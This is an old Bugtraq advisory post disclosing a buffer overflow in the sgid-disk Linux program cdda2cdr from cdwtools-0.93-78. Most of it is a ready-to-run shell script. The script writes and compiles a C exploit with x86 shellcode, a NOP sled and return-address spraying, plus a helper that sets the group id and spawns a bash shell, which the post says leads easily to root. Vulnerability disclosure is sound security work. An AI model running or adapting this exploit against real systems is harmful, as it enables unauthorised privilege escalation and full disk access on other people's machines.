Bugtraq: Linux cdda2cdr local exploit

[btellier () USA NET (Brock Tellier)]

Greetings,

There is a buffer overflow vulnerability in cdda2cdr distributed with (at
least) package cdwtools-0.93-78.  This program is sgid disk by default and
thus any malicious user who gains disk privs will have r/w access to your
entire hard drive(s) in the form of /dev/hd*.  This is obviously a quick root
compromise.  Fixed packages will be available soon from various vendors
(probably by the time you read this).

Note that this particular overflow does not affect cdda2wav.

Brock Tellier
UNIX Systems Administrator

--- cdda2x.sh ---
#! /bin/sh
#
# Shell script for Linux x86 cdda2cdr exploit
# Brock Tellier btellier () usa net
#

cat > /tmp/cdda2x.c <<EOF

/**
 ** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)

 ** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz>
 ** 
 ** Brock Tellier btellier () usa net 
 **/

#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/cd";

#define LEN 500
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}

void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);

 }
 else {
   offset=500;
   buflen=500;

 }

addr=get_sp();

fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
fprintf(stderr, "Brock Tellier btellier () usa net\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);

/*
for (i=0; i < strlen(buf); i++) putchar(buf[i]);
*/

}

EOF

cat > /tmp/cd.c <<EOF
void main() { 
    setregid(getegid(), getegid());
    system("/bin/bash");
}
EOF

gcc -o /tmp/cd /tmp/cd.c
gcc -o /tmp/cdda2x /tmp/cdda2x.c
echo "Note that gid=6 leads to easy root access.."
/tmp/cdda2x

-------

____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1